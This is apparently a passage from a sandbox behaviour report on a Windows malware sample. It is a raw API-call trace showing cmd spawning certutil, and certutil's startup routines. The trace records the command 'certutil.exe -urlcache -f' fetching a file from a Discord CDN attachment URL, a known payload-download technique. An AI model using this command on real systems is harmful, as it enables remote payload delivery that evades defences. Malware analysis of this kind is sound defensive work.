(_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0125.960] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0125.961] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0125.961] GetProcessHeap () returned 0x1ec89620000 [0125.961] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89627aa0) returned 1 [0125.961] GetProcessHeap () returned 0x1ec89620000 [0125.961] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x12) returned 0x1ec89627aa0 [0125.961] lstrcmpW (lpString1="\\certutil.exe", lpString2="\\XCOPY.EXE") returned -1 [0125.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0125.962] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0125.962] _get_osfhandle (_FileHandle=0) returned 0x4c [0125.962] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0125.962] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\certutil.exe", lpCommandLine="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xba1476f3f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xba1476f3c8 | out: lpCommandLine="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", lpProcessInformation=0xba1476f3c8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x1374, dwThreadId=0x1320)) returned 1 [0126.575] CloseHandle (hObject=0x98) returned 1 [0126.575] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0126.575] GetProcessHeap () returned 0x1ec89620000 [0126.575] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89626630) returned 1 [0126.576] GetEnvironmentStringsW () returned 0x1ec89625b50* [0126.576] GetProcessHeap () returned 0x1ec89620000 [0126.576] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xacc) returned 0x1ec89626630 [0126.576] FreeEnvironmentStringsA (penv="=") returned 1 [0126.576] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0136.299] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xba1476f348 | out: lpExitCode=0xba1476f348*=0x0) returned 1 [0136.299] CloseHandle (hObject=0x9c) returned 1 [0136.299] _vsnwprintf (in: _Buffer=0xba1476f518, _BufferCount=0x13, _Format="%08X", _ArgList=0xba1476f358 | out: _Buffer="00000000") returned 8 [0136.300] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0136.300] GetProcessHeap () returned 0x1ec89620000 [0136.300] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89626630) returned 1 [0136.300] GetEnvironmentStringsW () returned 0x1ec896285a0* [0136.300] GetProcessHeap () returned 0x1ec89620000 [0136.300] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xaf2) returned 0x1ec89625b50 [0136.300] FreeEnvironmentStringsA (penv="=") returned 1 [0136.300] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0136.300] GetProcessHeap () returned 0x1ec89620000 [0136.300] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89625b50) returned 1 [0136.300] GetEnvironmentStringsW () returned 0x1ec896285a0* [0136.300] GetProcessHeap () returned 0x1ec89620000 [0136.300] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xaf2) returned 0x1ec89625b50 [0136.300] FreeEnvironmentStringsA (penv="=") returned 1 [0136.300] GetProcessHeap () returned 0x1ec89620000 [0136.300] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89627aa0) returned 1 [0136.300] DeleteProcThreadAttributeList (in: lpAttributeList=0xba1476f4d0 | out: lpAttributeList=0xba1476f4d0) [0136.300] ??_V@YAXPEAX@Z () returned 0x1 [0136.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0136.300] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0136.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0136.404] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6b336fc08 | out: lpMode=0x7ff6b336fc08) returned 1 [0136.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0136.496] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0136.691] _get_osfhandle (_FileHandle=0) returned 0x4c [0136.691] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6b336fc0c | out: lpMode=0x7ff6b336fc0c) returned 1 [0136.763] _get_osfhandle (_FileHandle=0) returned 0x4c [0136.763] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0136.850] SetConsoleInputExeNameW () returned 0x1 [0136.850] GetConsoleOutputCP () returned 0x1b5 [0136.943] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6b336fbb0 | out: lpCPInfo=0x7ff6b336fbb0) returned 1 [0136.943] SetThreadUILanguage (LangId=0x0) returned 0x409 [0137.041] exit (_Code=0) Thread: id = 32 os_tid = 0x710 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x280fc000" os_pid = "0xee0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x10cc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0xf10 Thread: id = 28 os_tid = 0x6c0 Thread: id = 29 os_tid = 0xa8c Thread: id = 30 os_tid = 0xf3c Thread: id = 31 os_tid = 0xf5c Process: id = "5" image_name = "certutil.exe" filename = "c:\\windows\\system32\\certutil.exe" page_root = "0x27890000" os_pid = "0x1374" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x10cc" cmd_line = "certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0x1320 [0126.845] GetStartupInfoW (in: lpStartupInfo=0x73563cfbe0 | out: lpStartupInfo=0x73563cfbe0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0126.847] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6430a0000 [0126.847] __set_app_type (_Type=0x1) [0126.849] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff64318cd90) returned 0x0 [0126.849] __wgetmainargs (in: _Argc=0x7ff6431f3898, _Argv=0x7ff6431f38a0, _Env=0x7ff6431f38a8, _DoWildCard=0, _StartInfo=0x7ff6431f38b4 | out: _Argc=0x7ff6431f3898, _Argv=0x7ff6431f38a0, _Env=0x7ff6431f38a8) returned 0 [0126.852] _onexit (_Func=0x7ff6431945a0) returned 0x7ff6431945a0 [0126.852] _onexit (_Func=0x7ff6431946c0) returned 0x7ff6431946c0 [0126.854] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7fff5ce90000 [0126.855] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="WerSetFlags") returned 0x7fff5ceaa530 [0126.855] WerSetFlags () returned 0x0 [0126.855] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.855] __iob_func () returned 0x7fff5cc7ea00 [0126.855] _fileno (_File=0x7fff5cc7ea30) returned 1 [0126.855] _setmode (_FileHandle=1, _Mode=16384) returned 16384 [0126.855] _wsetlocale (category=1, locale=".OCP") returned="English_United States.437" [0126.856] _wsetlocale (category=3, locale=".OCP") returned="English_United States.437" [0126.856] _wsetlocale (category=4, locale=".OCP") returned="English_United States.437" [0126.856] _wsetlocale (category=5, locale=".OCP") returned="English_United States.437" [0126.856] GetConsoleOutputCP () returned 0x1b5 [0126.862] _vsnwprintf (in: _Buffer=0x73563cfb50, _BufferCount=0xb, _Format=".%d", _ArgList=0x73563cfa78 | out: _Buffer=".437") returned 4 [0126.863] _wsetlocale (category=2, locale=".437") returned="English_United States.437" [0126.863] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0126.863] GetFileType (hFile=0x50) returned 0x2 [0126.863] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7fff5ce90000 [0126.863] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="SetThreadUILanguage") returned 0x7fff5ceaa990 [0126.863] SetThreadUILanguage (LangId=0x0) returned 0x409 [0126.867] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".exe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 2 [0126.867] GetCommandLineW () returned="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" [0126.868] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x26beded3130 [0126.868] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".exe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 2 [0126.868] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x26bedeccb40 [0126.868] LocalAlloc (uFlags=0x0, uBytes=0x22) returned 0x26beded28f0 [0126.868] LocalFree (hMem=0x26bedeccb40) returned 0x0 [0126.868] LocalFree (hMem=0x26beded3130) returned 0x0 [0126.868] LocalFree (hMem=0x0) returned 0x0 [0126.868] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0126.868] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x7ff6430b4120 [0126.869] GetCommandLineW () returned="certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" [0126.869] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x26beded24a0 [0126.869] GetSystemTime (in: lpSystemTime=0x73563cf840 | out: lpSystemTime=0x73563cf840*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x5, wDay=0xd, wHour=0xb, wMinute=0x12, wSecond=0x14, wMilliseconds=0x350)) [0126.869] SystemTimeToFileTime (in: lpSystemTime=0x73563cf840, lpFileTime=0x73563cf838 | out: lpFileTime=0x73563cf838) returned 1 [0126.869] FileTimeToLocalFileTime (in: lpFileTime=0x73563cf838, lpLocalFileTime=0x73563cf800 | out: lpLocalFileTime=0x73563cf800) returned 1 [0126.869] FileTimeToSystemTime (in: lpFileTime=0x73563cf800, lpSystemTime=0x73563cf570 | out: lpSystemTime=0x73563cf570) returned 1 [0126.869] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x73563cf570, lpFormat=0x0, lpDateStr=0x73563cf680, cchDate=128 | out: lpDateStr="11/13/2020") returned 11 [0126.869] GetTimeFormatW (in: Locale=0x400, dwFlags=0x2, lpTime=0x73563cf570, lpFormat=0x0, lpTimeStr=0x73563cf580, cchTime=128 | out: lpTimeStr="12:18 PM") returned 9 [0126.869] _vsnwprintf (in: _Buffer=0x73563cf590, _BufferCount=0x77, _Format=" %02u.%03us", _ArgList=0x73563cf558 | out: _Buffer=" 20.848s") returned 8 [0126.869] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0x26bedee00a0 [0126.869] SetLastError (dwErrCode=0x80070716) [0126.869] _vsnwprintf (in: _Buffer=0x73563cf608, _BufferCount=0xb, _Format="%d", _ArgList=0x73563cf5f8 | out: _Buffer="948") returned 3 [0126.869] LoadStringW (in: hInstance=0x7ff6430a0000, uID=0x3b4, lpBuffer=0x73563cf3c0, cchBufferMax=128 | out: lpBuffer="Begin") returned 0x5 [0126.870] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x26bededd9e0 [0126.870] LocalAlloc (uFlags=0x0, uBytes=0x640) returned 0x26beded34a0 [0126.870] LocalFree (hMem=0x26bedee00a0) returned 0x0 [0126.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x73563cf8b0 | out: lpSystemTimeAsFileTime=0x73563cf8b0*(dwLowDateTime=0xb1907009, dwHighDateTime=0x1d6b9ae)) [0126.870] GetLocalTime (in: lpSystemTime=0x73563cf8e8 | out: lpSystemTime=0x73563cf8e8*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x5, wDay=0xd, wHour=0xc, wMinute=0x12, wSecond=0x14, wMilliseconds=0x350)) [0126.870] SystemTimeToFileTime (in: lpSystemTime=0x73563cf8e8, lpFileTime=0x73563cf8c0 | out: lpFileTime=0x73563cf8c0) returned 1 [0126.870] CompareFileTime (lpFileTime1=0x73563cf8c0, lpFileTime2=0x73563cf8b0) returned 1 [0126.871] _vsnwprintf (in: _Buffer=0x73563cf8f8, _BufferCount=0x13, _Format="GMT %s %.2f", _ArgList=0x73563cf888 | out: _Buffer="GMT + 1.00") returned 10 [0126.871] LocalFree (hMem=0x26beded24a0) returned 0x0 [0126.871] GetModuleHandleW (lpModuleName="certca.dll") returned 0x7fff3dfd0000 [0126.871] FindResourceW (hModule=0x7fff3dfd0000, lpName=0x1, lpType=0x10) returned 0x7fff3e090090 [0126.872] LoadResource (hModule=0x7fff3dfd0000, hResInfo=0x7fff3e090090) returned 0x7fff3e0900b0 [0126.872] LockResource (hResData=0x7fff3e0900b0) returned 0x7fff3e0900b0 [0126.872] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="VS_VERSION_INFO", cchCount1=-1, lpString2="VS_VERSION_INFO", cchCount2=-1) returned 2 [0126.872] _vsnwprintf (in: _Buffer=0x7ff6431f6890, _BufferCount=0x3f, _Format="%u.%u.%u.%u", _ArgList=0x73563cf928 | out: _Buffer="10.0.15063.447") returned 14 [0126.872] GetACP () returned 0x4e4 [0126.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.872] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x26bededd680 [0126.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x26bededd680, cchWideChar=7 | out: lpWideCharStr="retail") returned 7 [0126.872] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x26bedee02a0 [0126.872] _vsnwprintf (in: _Buffer=0x26bedee02a0, _BufferCount=0x15, _Format="%ws %ws", _ArgList=0x73563cf978 | out: _Buffer="10.0.15063.447 retail") returned 21 [0126.872] LocalFree (hMem=0x26bededd680) returned 0x0 [0126.872] LocalFree (hMem=0x0) returned 0x0 [0126.872] GetModuleHandleW (lpModuleName="certcli.dll") returned 0x7fff4f770000 [0126.872] GetACP () returned 0x4e4 [0126.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.872] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x26bededd880 [0126.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x26bededd880, cchWideChar=7 | out: lpWideCharStr="retail") returned 7 [0126.872] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x26bededfda0 [0126.872] _vsnwprintf (in: _Buffer=0x26bededfda0, _BufferCount=0x15, _Format="%ws %ws", _ArgList=0x73563cf978 | out: _Buffer="10.0.15063.447 retailEAUT") returned 21 [0126.872] LocalFree (hMem=0x26bededd880) returned 0x0 [0126.872] LocalFree (hMem=0x0) returned 0x0 [0126.872] GetACP () returned 0x4e4 [0126.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.873] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x26bededdb60 [0126.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7ff6431bf388, cbMultiByte=-1, lpWideCharStr=0x26bededdb60, cchWideChar=7 | out: lpWideCharStr="retail") returned 7 [0126.873] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x26bedee0020 [0126.873] _vsnwprintf (in: _Buffer=0x26bedee0020, _BufferCount=0x15, _Format="%ws %ws", _ArgList=0x73563cf9a8 | out: _Buffer="10.0.15063.447 retail") returned 21 [0126.873] LocalFree (hMem=0x26bededdb60) returned 0x0 [0126.873] LocalFree (hMem=0x26bedee02a0) returned 0x0 [0126.873] LocalFree (hMem=0x26bededfda0) returned 0x0 [0126.873] LocalFree (hMem=0x26bedee0020) returned 0x0 [0126.873] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0126.873] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0126.874] GetStockObject (i=0) returned 0x900010 [0126.874] RegisterClassW (lpWndClass=0x73563cfad0) returned 0xc19d [0126.874] CreateWindowExW (dwExStyle=0x0, lpClassName="CertUtil", lpWindowName="CertUtil Application", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff6430a0000, lpParam=0x0) returned 0x202be [0126.893] NtdllDefWindowProc_W (hWnd=0x202be, Msg=0x24, wParam=0x0, lParam=0x73563cf4a0) returned 0x0 [0126.893] NtdllDefWindowProc_W (hWnd=0x202be, Msg=0x81, wParam=0x0, lParam=0x73563cf450) returned 0x1 [0126.897] NtdllDefWindowProc_W (hWnd=0x202be, Msg=0x83, wParam=0x0, lParam=0x73563cf4c0) returned 0x0 [0126.902] UpdateWindow (hWnd=0x202be) returned 1 [0126.902] PostMessageW (hWnd=0x202be, Msg=0x400, wParam=0x0, lParam=0x26bedec2116) returned 1 [0126.903] GetMessageW (in: lpMsg=0x73563cfb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x73563cfb20) returned 1 [0126.903] TranslateMessage (lpMsg=0x73563cfb20) returned 0 [0126.903] DispatchMessageW (lpMsg=0x73563cfb20) returned 0x0 [0126.903] NtdllDefWindowProc_W (hWnd=0x202be, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0126.903] GetMessageW (in: lpMsg=0x73563cfb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x73563cfb20) returned 1 [0126.903] TranslateMessage (lpMsg=0x73563cfb20) returned 0 [0126.903] DispatchMessageW (lpMsg=0x73563cfb20) returned 0x0 [0126.903] LocalAlloc (uFlags=0x0, uBytes=0xd4) returned 0x26bedec40e0 [0126.903] LocalAlloc (uFlags=0x0, uBytes=0xe8) returned 0x26bedee55d0 [0126.903] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="p", cchCount2=-1) returned 3 [0126.903] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="pin", cchCount2=-1) returned 3 [0126.903] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="p", cchCount2=-1) returned 1 [0126.903] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="pin", cchCount2=-1) returned 1 [0126.903] SetLastError (dwErrCode=0x80070716) [0126.903] _vsnwprintf (in: _Buffer=0x73563cf528, _BufferCount=0xb, _Format="%d", _ArgList=0x73563cf518 | out: _Buffer="465") returned 3 [0126.903] LoadStringW (in: hInstance=0x7ff6430a0000, uID=0x1d1, lpBuffer=0x73563cf2e0, cchBufferMax=128 | out: lpBuffer="Command Line") returned 0xc [0126.903] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x26beded2920 [0126.903] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0126.903] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x7ff6430b4120 [0126.903] GetEnvironmentVariableW (in: lpName="certsrv_rawhex", lpBuffer=0x73563cf2c0, nSize=0x104 | out: lpBuffer="\x01") returned 0x0 [0126.903] GetLastError () returned 0xcb [0126.903] _wcsnicmp (_String1="Config", _String2="enroll", _MaxCount=0x6) returned -2 [0126.904] _wcsnicmp (_String1="CA", _String2="en", _MaxCount=0x2) returned -2 [0126.904] _wcsnicmp (_String1="Policy", _String2="enroll", _MaxCount=0x6) returned 11 [0126.904] _wcsnicmp (_String1="Exit", _String2="enro", _MaxCount=0x4) returned 10 [0126.904] _wcsnicmp (_String1="Restore", _String2="enroll", _MaxCount=0x7) returned 13 [0126.904] _wcsnicmp (_String1="Template", _String2="enroll", _MaxCount=0x8) returned 15 [0126.904] _wcsnicmp (_String1="Enroll", _String2="enroll", _MaxCount=0x6) returned 0 [0126.904] _wcsnicmp (_String1="Config", _String2="enroll", _MaxCount=0x6) returned -2 [0126.904] _wcsnicmp (_String1="CA", _String2="en", _MaxCount=0x2) returned -2 [0126.904] _wcsnicmp (_String1="Policy", _String2="enroll", _MaxCount=0x6) returned 11 [0126.904] _wcsnicmp (_String1="Exit", _String2="enro", _MaxCount=0x4) returned 10 [0126.904] _wcsnicmp (_String1="Restore", _String2="enroll", _MaxCount=0x7) returned 13 [0126.904] _wcsnicmp (_String1="Template", _String2="enroll", _MaxCount=0x8) returned 15 [0126.904] _wcsnicmp (_String1="Enroll", _String2="enroll", _MaxCount=0x6) returned 0 [0126.905] _wcsnicmp (_String1="Config", _String2="enroll", _MaxCount=0x6) returned -2 [0126.905] _wcsnicmp (_String1="CA", _String2="en", _MaxCount=0x2) returned -2 [0126.905] _wcsnicmp (_String1="Policy", _String2="enroll", _MaxCount=0x6) returned 11 [0126.905] _wcsnicmp (_String1="Exit", _String2="enro", _MaxCount=0x4) returned 10 [0126.905] _wcsnicmp (_String1="Restore", _String2="enroll", _MaxCount=0x7) returned 13 [0126.905] _wcsnicmp (_String1="Template", _String2="enroll", _MaxCount=0x8) returned 15 [0126.905] _wcsnicmp (_String1="Enroll", _String2="enroll", _MaxCount=0x6) returned 0 [0126.905] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Cryptography\\AutoEnrollment", ulOptions=0x0, samDesired=0x20019, phkResult=0x73563cef88 | out: phkResult=0x73563cef88*=0x23c) returned 0x0 [0126.905] LocalAlloc (uFlags=0x0, uBytes=0x5e) returned 0x26bedecd5f0 [0126.905] RegQueryValueExW (in: hKey=0x23c, lpValueName="RawHex", lpReserved=0x0, lpType=0x73563cf4f8, lpData=0x73563cf528, lpcbData=0x73563cf4f0*=0x4 | out: lpType=0x73563cf4f8*=0x0, lpData=0x73563cf528*=0x0, lpcbData=0x73563cf4f0*=0x4) returned 0x2 [0126.905] LocalFree (hMem=0x26bedecd5f0) returned 0x0 [0126.905] RegCloseKey (hKey=0x23c) returned 0x0 [0126.905] LocalFree (hMem=0x0) returned 0x0 [0126.906] CryptFindOIDInfo (dwKeyType=0x1, pvKey=0x7ff6431a0270, dwGroupId=0x7) returned 0x0 [0126.914] CryptRegisterOIDInfo 